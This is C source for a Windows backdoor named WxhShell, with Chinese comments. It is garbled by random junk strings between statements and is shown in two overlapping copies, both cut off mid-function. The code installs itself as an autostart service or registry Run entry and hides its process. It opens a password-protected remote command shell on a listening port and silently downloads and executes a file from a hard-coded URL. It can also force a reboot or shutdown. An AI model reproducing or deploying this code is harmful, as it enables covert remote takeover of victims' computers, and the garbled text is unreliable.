LJ,Z PROCESS_BASIC_INFORMATION pbi; @@W-]SR SX)o0v+ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =D3K})& if(NULL == hInst ) return 0; 2F&VG|" 9Zj9e g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jp+s[rRc\{ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L#k`>Qn2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]q`'l_O cj;k{Moc if (!NtQueryInformationProcess) return 0; $Wn!vbL @
JfQ}` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'O^<i`8U] if(!hProcess) return 0; *";O_ :C! k0bDEz.X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1v~1?+a\2 dy.U; CloseHandle(hProcess); .Lm0$o*` o_C]O" hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (z.4er}o if(hProcess==NULL) return 0; eWGaGRem ET0^_yk HMODULE hMod; AfT;IG%Gt char procName[255]; ) :VF^" unsigned long cbNeeded; Y52TC@' {
Ba_.]x if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /B!Ik:c} Ba}<X;B } CloseHandle(hProcess); gP2<L5&Z, o?|
]ciY if(strstr(procName,"services")) return 1; // 以服务启动 -|2k$W s 9n_s=w return 0; // 注册表启动 =3;~7bYO } $DeVXW v*JXrB&x // 主模块 8&wN9tPYZ int StartWxhshell(LPSTR lpCmdLine) BHf7\+Ul { h $)4%Fy SOCKET wsl; e~ %=H 0n BOOL val=TRUE; Z,I0<ecaD int port=0; B8`!A struct sockaddr_in door; x/L(0z Yn5a4 if(wscfg.ws_autoins) Install(); ;;
?OS %~I%*=o[ port=atoi(lpCmdLine); 8
3Tv-X r7+Ytr if(port<=0) port=wscfg.ws_port; G%MdZg&i Z8I0v$LjR WSADATA data; $O^"OQ_@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~m3Tq.sYrY D[0g0>K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |.?$:D&6 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MZvxcr{x door.sin_family = AF_INET; Rm[{^V.Z$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); }u+cS[#-
door.sin_port = htons(port); T4Io+b8$ $u cmE if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7v
V~O@JP closesocket(wsl); si1Szmx, return 1; PouWRGS_ } c7@[RG ! Y'O3RA5E if(listen(wsl,2) == INVALID_SOCKET) { B8 r#o=q1 closesocket(wsl); *?~&O.R" return 1; &hnKBr(Lw } mvu$ Wxhshell(wsl); y q6:7< WSACleanup(); %\B@!4] M7.H;.? return 0; ~j yl \hDjZ } xM_+vN*( Yan,Bt{YJ // 以NT服务方式启动 vw*,_f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -r%k)4_ { h3Y|0-D DWORD status = 0; {ewo-dva DWORD specificError = 0xfffffff; \t
^9UN jJ3dZ<# serviceStatus.dwServiceType = SERVICE_WIN32; t_hr$ { serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q\pI\]p: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z$y~:bz serviceStatus.dwWin32ExitCode = 0; $O9,Gvnxx serviceStatus.dwServiceSpecificExitCode = 0; FvVM}l' serviceStatus.dwCheckPoint = 0; Rg7~?b- serviceStatus.dwWaitHint = 0; s:*" b' lbm ,# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Ao{Aej| if (hServiceStatusHandle==0) return; (%)<jg1 <P_B|Y4N/ status = GetLastError(); f,VJfY?# if (status!=NO_ERROR) c^7QiTt_ { z4r g.ai serviceStatus.dwCurrentState = SERVICE_STOPPED; <|;)iT1VeT serviceStatus.dwCheckPoint = 0; pwmH(94$0 serviceStatus.dwWaitHint = 0; -Q"
N;&'[& serviceStatus.dwWin32ExitCode = status; MNocXK serviceStatus.dwServiceSpecificExitCode = specificError; QFU1l"(qGk SetServiceStatus(hServiceStatusHandle, &serviceStatus); "$ U!1 return; "bA8NQIP } 9uW\~DwsZ% qsHjqK@( serviceStatus.dwCurrentState = SERVICE_RUNNING; /{!?e<N>
serviceStatus.dwCheckPoint = 0; 0[R7HX-@ serviceStatus.dwWaitHint = 0; w0,rFWS if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ekV*,R" } eVRjU C%Fc%}[ // 处理NT服务事件,比如:启动、停止 PDhoCAh
! VOID WINAPI NTServiceHandler(DWORD fdwControl) I*0TI@Lo { *eAzk2 switch(fdwControl) oT*qMLdn { :y^%I xs{1 case SERVICE_CONTROL_STOP: :tT6V(-W serviceStatus.dwWin32ExitCode = 0; 3>%:%bP serviceStatus.dwCurrentState = SERVICE_STOPPED; mH9_HK.C serviceStatus.dwCheckPoint = 0; A;7At!kK serviceStatus.dwWaitHint = 0; h`pXUnEZ { iJ p E` SetServiceStatus(hServiceStatusHandle, &serviceStatus); L~HL*~#d
} a1gaB:w5n return; GI)eq:K_U8 case SERVICE_CONTROL_PAUSE: S\ ) ~9? serviceStatus.dwCurrentState = SERVICE_PAUSED; "U*6?]f break; lH"4"r case SERVICE_CONTROL_CONTINUE: e2"gzZ4;g
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1(jDBP!8 break; c63yJqiW case SERVICE_CONTROL_INTERROGATE: \kG;T=H break; ?K=
X[ }; %Mr^~7nN SetServiceStatus(hServiceStatusHandle, &serviceStatus); !@9G9<NK } ,Kwtp)EX =v7%IRP5 // 标准应用程序主函数 L]{1@~E:q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`tNYs]V { NH;.!xq: rfYFS96 // 获取操作系统版本 &nfGRb OsIsNt=GetOsVer(); L[O.]2 GetModuleFileName(NULL,ExeFile,MAX_PATH); -HUlB|Q8r zA*I=3E( // 从命令行安装 v_I)eac z if(strpbrk(lpCmdLine,"iI")) Install(); /s "Lsbe S(Q=2Y // 下载执行文件 Qb?eA if(wscfg.ws_downexe) { st wxF?\NS if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1hW"#>f7 WinExec(wscfg.ws_filenam,SW_HIDE); {R}Kt;L:Ut } E[2xo/H l G $s( if(!OsIsNt) { #SqU>R // 如果时win9x,隐藏进程并且设置为注册表启动 I3d!!L2ma HideProc(); PEPf=sm StartWxhshell(lpCmdLine); v-!^a_3Ui } Og<nnq else A_2oQ* if(StartFromService()) L<Q>:U.@\ // 以服务方式启动 )GR4U8<>g StartServiceCtrlDispatcher(DispatchTable); TcOmBKps' else @y(<4kLz // 普通方式启动 CC,CKb StartWxhshell(lpCmdLine); DgODTxiX 4Bk9d\z return 0; C(}N*e1 } w=QW8q? KYR64[1 :Hq#co `w EAU7m: =========================================== Z Z9D6+R 9;R'Xo=y tWaM+W 'oS= d l9#@4Os 4N8(WI"4S " N'~l,{ E@_]L<Z #include <stdio.h> \JbOT%1 #include <string.h> ~ ^*;#[< #include <windows.h> lB*HLC #include <winsock2.h> .^V9XN{'a #include <winsvc.h> l#fwNM/F #include <urlmon.h> tFu"h1 nWFU8u% #pragma comment (lib, "Ws2_32.lib") IM=3n%6 #pragma comment (lib, "urlmon.lib") ;3Z6K5z*f m#`1.5% #define MAX_USER 100 // 最大客户端连接数 x@? YS #define BUF_SOCK 200 // sock buffer =H;F{J" #define KEY_BUFF 255 // 输入 buffer !pxOhO.V LGq
T$ O| #define REBOOT 0 // 重启 PDkg@#&y,k #define SHUTDOWN 1 // 关机 >*Ctp +X@ {8T/;K@ #define DEF_PORT 5000 // 监听端口 Pd04 jKr>Ig=$tA #define REG_LEN 16 // 注册表键长度 Eal*){"<,? #define SVC_LEN 80 // NT服务名长度 \^x`GsVy E-Y4TBZ* // 从dll定义API
Pzte!]B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sc9}WU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,f}u|D 3@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *u ]aWx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R3hyz~\x& <g1=jG:7k // wxhshell配置信息 &n~v;M struct WSCFG { /&+*X)#v int ws_port; // 监听端口 ;|pw;- char ws_passstr[REG_LEN]; // 口令 U5ME`lN*` int ws_autoins; // 安装标记, 1=yes 0=no vJ{aBx`VS char ws_regname[REG_LEN]; // 注册表键名 h?P-
:E char ws_svcname[REG_LEN]; // 服务名 Y(B3M=j char ws_svcdisp[SVC_LEN]; // 服务显示名 Sy"!Q%+| char ws_svcdesc[SVC_LEN]; // 服务描述信息 c0QKx= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Jn2(+ int ws_downexe; // 下载执行标记, 1=yes 0=no y&6 pc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (D2N_l(`< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .O6(QI*
%/w%A:y#& }; Ni>!b6Z`[ =fK6P6'B // default Wxhshell configuration yR1v3D4E struct WSCFG wscfg={DEF_PORT, d-`z1' "xuhuanlingzhe",
::sk) 1, 0SV4p. "Wxhshell", "P a y2 "Wxhshell", b=XXp`h~a "WxhShell Service", r<5i "Wrsky Windows CmdShell Service", Y|cj&<o "Please Input Your Password: ", gN.n_! 1, c'
Q4Fzj0' "http://www.wrsky.com/wxhshell.exe", om2)Cd9~7 "Wxhshell.exe" tL]T_]z }; P(aN6)D >E9 k5 // 消息定义模块 YK>?;U+| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }///k]_Sh char *msg_ws_prompt="\n\r? for help\n\r#>"; ){4 ! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zKfY0A R char *msg_ws_ext="\n\rExit."; RC!9@H5S# char *msg_ws_end="\n\rQuit."; cs?IzIQ char *msg_ws_boot="\n\rReboot..."; ET;-'vd char *msg_ws_poff="\n\rShutdown..."; ''H;/&nDX char *msg_ws_down="\n\rSave to "; t5k=ngA eI1C0Uz1
char *msg_ws_err="\n\rErr!"; ?g4S51zpp char *msg_ws_ok="\n\rOK!"; GDYFhH7H 5xhYOwQBo char ExeFile[MAX_PATH]; R5=M{ int nUser = 0; 6"yIk4u: HANDLE handles[MAX_USER]; Y2$xlqQd" int OsIsNt; $S/EIN c ZuT5}XxF SERVICE_STATUS serviceStatus; 1F R SERVICE_STATUS_HANDLE hServiceStatusHandle; *_@$"9 |O{kv}YZ // 函数声明 xE-
_Fv9 int Install(void); '?1g_C QsS int Uninstall(void); $0*D7P^8 int DownloadFile(char *sURL, SOCKET wsh); /_r` A int Boot(int flag); AI]lG]q8 void HideProc(void); r*UE>_3J int GetOsVer(void); `t>:i!s/ int Wxhshell(SOCKET wsl); <xUX&J=; void TalkWithClient(void *cs); ~p
x2kHZ int CmdShell(SOCKET sock); lBLL45%BIN int StartFromService(void); y.gjs<y int StartWxhshell(LPSTR lpCmdLine); 10CRgrZ H18pVh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t**MthnW VOID WINAPI NTServiceHandler( DWORD fdwControl ); w%$J<Z^-? m8Rt>DY // 数据结构和表定义 Ge1"+:tbJ SERVICE_TABLE_ENTRY DispatchTable[] = ~cSE 9ul { )i<Qg.@MX {wscfg.ws_svcname, NTServiceMain}, >[S\NAE> {NULL, NULL} $:D\yZ, }; > ,x``- lJt?0;gn // 自我安装 WmuYHE U int Install(void) 4VhKV JX { QBjvbWoIG( char svExeFile[MAX_PATH]; (Q"~bP{F HKEY key; >cH}sNHy strcpy(svExeFile,ExeFile); 7
lu_E.Bv 4wPP/` // 如果是win9x系统,修改注册表设为自启动 {J-Ojw|Y b if(!OsIsNt) { ?@QcKQ@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~^l;~& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x#fv<Cj4 RegCloseKey(key); ''}2JJU{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v G~JK[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s#FX2r3=Fg RegCloseKey(key); ;N!opg))d< return 0; 0E#?H0<OeG } cUTG!
P\R } "
f.9u } B#4'3Y-3 else { u5tUm nnCz!:9p // 如果是NT以上系统,安装为系统服务 '^(qlCI
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D{6<,#P{w if (schSCManager!=0) M=4`^.Ocm { T!-ly7-` SC_HANDLE schService = CreateService EP{/]T ( P>'29$1' schSCManager, JvYs6u wscfg.ws_svcname, gnlU wscfg.ws_svcdisp, ;&XC*R+ SERVICE_ALL_ACCESS, i<*W,D6
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , meZZQ:eSl SERVICE_AUTO_START, c9Q _Qr0' SERVICE_ERROR_NORMAL, .gY=<bG/fA svExeFile, 2:&L|; NULL, xXCsJ9] NULL, ne%(`XY{Q] NULL, z\>ZgRi~n NULL, Gm=e;X;r NULL \lK ` ); G,6 i!M if (schService!=0) /]2I%Q { |d=GAW
v CloseServiceHandle(schService); 4ULdf|o P" CloseServiceHandle(schSCManager); &3:<WU:U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~R~eQ=8 strcat(svExeFile,wscfg.ws_svcname); ]3uj~la if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C)ic;!$Qhb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V6_~"pRR= RegCloseKey(key); L&&AK`Ur3l return 0; <GSp%r } 5Q,j+ } 9>;CvR CloseServiceHandle(schSCManager); &t}6sD9o } &}d5'IRT } f<>CSjQ4c fzUG1|$e return 1; Nb)Mh } oG
c9
6B% "Rn@yZV // 自我卸载 UQjYWXvi int Uninstall(void) pW_mS| { G-'CjiMu HKEY key; izR#XeBm nI/kX^Pd if(!OsIsNt) { ( +(bw4V/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zEDN^K ' RegDeleteValue(key,wscfg.ws_regname); w@H@[x RegCloseKey(key); K;]Dh? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )*&61 RegDeleteValue(key,wscfg.ws_regname); NG:
f>R RegCloseKey(key); f/U~X; return 0; (#+81 Dr } y w:=$e5 } 5>h/LE]" } .x1.` Y else { tg7QX/KX G$2Pny<! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TWdhl9Ot if (schSCManager!=0) A@e!~ { u/%Z0`X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a\KM^jrCD if (schService!=0) cCcJOhk|d { izLB4pk$ if(DeleteService(schService)!=0) { {dlG3P='`f CloseServiceHandle(schService); E5\>mf
,;u CloseServiceHandle(schSCManager); ={50>WXE return 0; Yn>FSq^Wp- } cbW=kQc_ CloseServiceHandle(schService); q NUd "%S } VH] <o0 CloseServiceHandle(schSCManager); O6ltGtF } +pe\9F } ? 3oUkGfn J)sOne return 1; 79B+8= K } C|]Zpn#{K u $qazj // 从指定url下载文件 ^G
"Qp8 " int DownloadFile(char *sURL, SOCKET wsh) 4@0Z<8Mo { cL4Xh|NBp HRESULT hr; F<{k~ char seps[]= "/"; &D&U!3~( char *token; Rp>%umDyL char *file; j{@li1W@ char myURL[MAX_PATH]; ~xcU6@/ char myFILE[MAX_PATH]; y2nT)nL ]'Gz~Z%>F strcpy(myURL,sURL); K{XE|g token=strtok(myURL,seps); Mtn{63cK while(token!=NULL) [@ NW { Fe2t[y:8h file=token; ;8cTy8 token=strtok(NULL,seps); ek d[|g } f||S?ns_ ~|ha91 GetCurrentDirectory(MAX_PATH,myFILE); wdIJ?\/763 strcat(myFILE, "\\"); rj/nn)vv; strcat(myFILE, file); #;h>
x send(wsh,myFILE,strlen(myFILE),0); f n8|@)J send(wsh,"...",3,0); Q)5V3Q]@^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TXqtE("BDl if(hr==S_OK) !E^\)=E)P return 0; XE#$|Z else ycf)*0k return 1; 2B+qS'OT T%E/k#
)q } H%{k.#O :bkmm,%O // 系统电源模块 -X-sykDm int Boot(int flag) J^zB5W,) { gI/(hp3ob HANDLE hToken; {uxTgX TOKEN_PRIVILEGES tkp; I(j$^DA. >|mZu)HIY; if(OsIsNt) { 8Ep! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Mw+SM3< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w,t !<i tkp.PrivilegeCount = 1; gO/\Yi tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QE721y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k{bC3)'$#R if(flag==REBOOT) { {gzVbZ# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CW FE{ return 0; XJ1Bl } ,M$h3B\;r else { FLIU}doc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'ZAIe7i& return 0; KLjvPT\ }
|{MXDx } *]c~[&x5& else { NMzq10M=6 if(flag==REBOOT) { PoLk{{l3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wGWv<<Qw" return 0; |3>%(4
OS } rx@2Dmt6
else { 4jzjrG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ei~f1$zc#h return 0; BW ux! } w17CZa
6 } {
PS0.UZ mdlMciP return 1; vSo1WS } *hh9
K FJBB@<>: // win9x进程隐藏模块 gP>W* ]0r1 void HideProc(void) lBudC { [rz5tfMp YUTI)&y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +K,T^<F; if ( hKernel != NULL ) 7tne/Yz { szD9z{9"y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Az/B/BLB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g*!1S FreeLibrary(hKernel); xl9S=^`= } tjQ6[` dV
/Es return; .UvDew/Y } >u]9(o7I ((M>To_l // 获取操作系统版本 fh`}~ aQ int GetOsVer(void) z
G`|) { h)s&Nqg1B OSVERSIONINFO winfo; w%(D4ldp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k7]4TIUD* GetVersionEx(&winfo); 7/iN`3Bz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yy,XKIqU return 1; Bq,MTzxD else "*:?m{w5 return 0; h<qi[d4X } kV4L4yE +}eK8>2 // 客户端句柄模块 c= aZ[ int Wxhshell(SOCKET wsl) E&)o.l<h| { m ;wj|@cF SOCKET wsh; %CqG/ol struct sockaddr_in client; _|#P~Ft
DWORD myID; x@D>JG "BIhd*K[~ while(nUser<MAX_USER) ]`|;ZQiD { bD?gwhAKA int nSize=sizeof(client); 8t|?b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ! vuun | if(wsh==INVALID_SOCKET) return 1; 6XnUs1O o\fPZ`p-m~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RFq=`/>dG if(handles[nUser]==0) X.ZG-TC closesocket(wsh); iO$ ?No else [7 t nUser++; C8=r sh } ->Fsmb+R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U&SSc@of 9t8ccr return 0; A,c_ME+DVB } O`Htdnu ~*`wRiUhis // 关闭 socket O{Q+<fBC9 void CloseIt(SOCKET wsh) VBW][f { -b34Wz( closesocket(wsh); IR32O,) nUser--; {MUO25s02 ExitThread(0); {c7@`AV] } M XuHA? .=) *Qx+ // 客户端请求句柄
ONUa7 void TalkWithClient(void *cs) j"+6aD/lv { :*-O;Yw?S@ D;OPsNQ SOCKET wsh=(SOCKET)cs; {mLv?"M] char pwd[SVC_LEN]; .(s@{= char cmd[KEY_BUFF]; i_nUyH%b char chr[1]; `%~f5< int i,j; dP"cm0 /=QsZ,~xo while (nUser < MAX_USER) { Wxgs66 W#kLM\2L if(wscfg.ws_passstr) { 8E>2
6@. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !/1~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O#<S\66 //ZeroMemory(pwd,KEY_BUFF); y^ D3}ds i=0; Z=l2Po n while(i<SVC_LEN) { ^ '_Fd a(uQGyr[k1 // 设置超时 ?OGs+G fd_set FdRead; IvI;Q0E-3 struct timeval TimeOut; Z/:W.*u FD_ZERO(&FdRead); ?.ofs} FD_SET(wsh,&FdRead); ^P`I"T
d TimeOut.tv_sec=8; <
B!f; TimeOut.tv_usec=0; waG &3m int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DLO#_t^v. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )i:"cyoE y,c\'}*H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZIc-^&`r= pwd=chr[0]; g^U-^f if(chr[0]==0xd || chr[0]==0xa) { w1
A-_ pwd=0; }IQ! [T5 break; [geT u } |7.X)h` i++; Z*(OcQ- } bNoZ{ 7 w)h"?'m~ // 如果是非法用户,关闭 socket ObataUxQT if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @?</8;%3W } 2]r5e; TLg 9`UA send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GT3}'`f B send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m-qOyt CljEC1S# while(1) { ^plP1c: $GVf;M2* ZeroMemory(cmd,KEY_BUFF);
@;[. #hK
\P*%u // 自动支持客户端 telnet标准 1Sv$!xX`n j=0; nVGOhYn while(j<KEY_BUFF) { \_+Af` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7j"B-k# cmd[j]=chr[0]; F^!mgU X if(chr[0]==0xa || chr[0]==0xd) { fQw|SW cmd[j]=0; Eb8z`@p break; 5KssfI
a } y;hco j++; vVo# nzeZ5 } 4 ijZQ _b
&Aa% // 下载文件 "eI">`!g if(strstr(cmd,"http://")) { @VsK7Eo send(wsh,msg_ws_down,strlen(msg_ws_down),0); w!Z,3Yc) if(DownloadFile(cmd,wsh)) w_Z*X5u send(wsh,msg_ws_err,strlen(msg_ws_err),0); x
o72JJ else ^AO2%09.S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M|>-q } |mz0
] else { /jOug>s =[Tf9uQY switch(cmd[0]) { <"S/M]9 JZ-M<rcC // 帮助 > 'JWW*Y! case '?': { u_$Spbc]/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >k
u7{1) break; IZ]L.0, } $U%N$_k? // 安装
.r@'9W^8 case 'i': { tNW0 C] if(Install()) C}]rx{xC send(wsh,msg_ws_err,strlen(msg_ws_err),0); b*< *,Ds/G else 5}_,rF?cX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PmDar<m break; |>nVp:t^ } Zr;(a;QKs // 卸载 yn{U/+ case 'r': { $7\hszjZ if(Uninstall()) zx5t
gZd,N send(wsh,msg_ws_err,strlen(msg_ws_err),0); m RtE~~p else 8SMa5a{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |CjdmQ u break; +@#-S } AFNE1q;{\ // 显示 wxhshell 所在路径 om,=.,|Ld case 'p': { JZcW? Or char svExeFile[MAX_PATH]; r$Y% 15JV strcpy(svExeFile,"\n\r"); Umk ! m] q strcat(svExeFile,ExeFile); jyjK~!0 send(wsh,svExeFile,strlen(svExeFile),0); h,'m*@Eg break; }sGH}n<9* } hC2Ra "te) // 重启 =+wkjTO case 'b': { _NM=9cWd send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s ,GGO3^ if(Boot(REBOOT)) =7U8`]WA send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'?axv6e else { %MN>b[z
closesocket(wsh); fehM{)x2: ExitThread(0); 2 lBu"R 6} } f.u[!T break; I*8_5?)g< } a7l-kG=R; // 关机 Hd=! case 'd': { oJEjg>%n send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t8b,@J`R if(Boot(SHUTDOWN)) cBnB(t% send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+"5g@ else { '=m ?l closesocket(wsh); 3?DM
AV ExitThread(0); -o0~xspF } {-\VX2:;[9 break; 2<5s0GT'/ } NU|T`gP // 获取shell YQ<O.E case 's': { ]]bL;vlw CmdShell(wsh); 1rhQ{6 closesocket(wsh); :+|os" ExitThread(0); D|!^8jHj break; zLLe3?8: } _ ;_NM5 // 退出 uCpk1d case 'x': { B1a&'WX? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 68jq1Y
Pv CloseIt(wsh); {\f`s^;8{ break; K3^N_^H } &`[Dl(W // 离开 d/:zO4v3 case 'q': { Wtwh.\Jba send(wsh,msg_ws_end,strlen(msg_ws_end),0); |7l* closesocket(wsh); rF5O?<( WSACleanup(); AW:WDNQh8n exit(1); mEe JK3D[ break; R%N&Y~zH } d.uJ}=| } O
hcPlr } geu8$^ UGJ#
"9 // 提示信息 q#N8IUN}4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ro4 XA1 } KBo/GBD]| } nr<&j#!L hUy\)GsT return; G>0S(M) } K"r'w8P }x1*4+Y1 // shell模块句柄 r z%=qY int CmdShell(SOCKET sock) ]`x\Oj& { 9
&~Rj 9 STARTUPINFO si; /Hl]$sJY ZeroMemory(&si,sizeof(si)); _S;L|1>S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )/F1,&/N`e si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @cZNoD PROCESS_INFORMATION ProcessInfo; k;pTOj char cmdline[]="cmd"; SD^6ib/]b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xI7;(o" return 0; P=V=\T<4_ } )0JXUC e dF%sD|<) // 自身启动模式 RHGs(d7- int StartFromService(void) 438+zU { 9RoN,e8! typedef struct BJI
R !J { PuhFbgxy DWORD ExitStatus; :n&n"`D~ DWORD PebBaseAddress; 7uQ-:n DWORD AffinityMask; NK+iLXC DWORD BasePriority; xA9{o+ ULONG UniqueProcessId; ,IW$XD ULONG InheritedFromUniqueProcessId; cO"7wgg } PROCESS_BASIC_INFORMATION; ;Qc_Tf=, =MqefV;- PROCNTQSIP NtQueryInformationProcess; RvF6bIqo J34lu{'if static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CKv[E static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8*^Q#;^~99 F? kW{,* HANDLE hProcess; |8b*BnS PROCESS_BASIC_INFORMATION pbi; e8@@Pi<sB h@"dpmpe HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6*/o if(NULL == hInst ) return 0; H`$s63 {%5tqF g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C{
{DZ* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;m3SlP{F NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y.qlY3iBp yU~OfwQ if (!NtQueryInformationProcess) return 0; 3cNF^?\= }Zwse%; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HUtuU X if(!hProcess) return 0; q*oUd/F8 1B;sSp.> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \*s'S*~ V11Zl{uOl CloseHandle(hProcess); EwcN$Ma 4w:_4qyb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UJ_E&7,L if(hProcess==NULL) return 0; HKk;oG dD3I. ?DY 